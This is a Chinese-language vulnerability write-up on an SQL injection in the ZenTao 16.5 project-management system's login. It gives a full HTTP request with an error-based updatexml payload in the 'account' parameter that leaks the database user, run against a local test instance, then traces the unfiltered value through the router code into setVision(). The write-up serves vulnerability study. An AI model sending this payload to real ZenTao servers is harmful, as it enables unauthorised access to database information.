漏洞背景
禅道16.5 的版本未对输入的 account
参数内容作过滤校验,攻击者通过漏洞可以获取数据库敏感信息。
漏洞复现环境
- PHP 5.6.27
- Apache 2.4.23
- 禅道 16.5
环境搭建
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| POST /zentaopms/www/index.php?m=user&f=login&t=html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://127.0.0.1/zentaopms/www/index.php?m=user&f=login&referer=L3plbnRhb3Btcy93d3cvaW5kZXgucGhw Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 185 Origin: http://127.0.0.1 Connection: close Cookie: zentaosid=vm2t0mvifjf519nj5gi74gpcf6; lang=zh-cn Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin
account=admin'+and+updatexml(1,concat(0x7e,user(),0x7e),3)--+&password=14e1b600b1fd579f47433b88e8d85291&passwordStrength=0&referer=%2Fzentaopms%2Fwww%2F&verifyRand=&keepLogin=0&captcha=
|
漏洞分析
根据 payload
直接定位到 zentaopms/www/index.php
文件,根据报错信息发现漏洞位于第34行处
打断点调试进入 createApp
函数中,文件在 zentaopms/framework/base/router.class.php
中第 430~434 行。createApp()
函数创建新应用,其中 $appName
和 $className
分别为 pms
和 router
在第 433 行处实例化 router
对象,构造函数 __construct()
会自动调用,但 router
类中没有 ,追踪到父类 baseRouter
中进行调用
继续跟进,漏洞位于 setVision()
函数中
函数会从 session,POST,GET 中获取 $account
值,未作任何过滤直接插入到第702行sql查询语句中,从而导致注入漏洞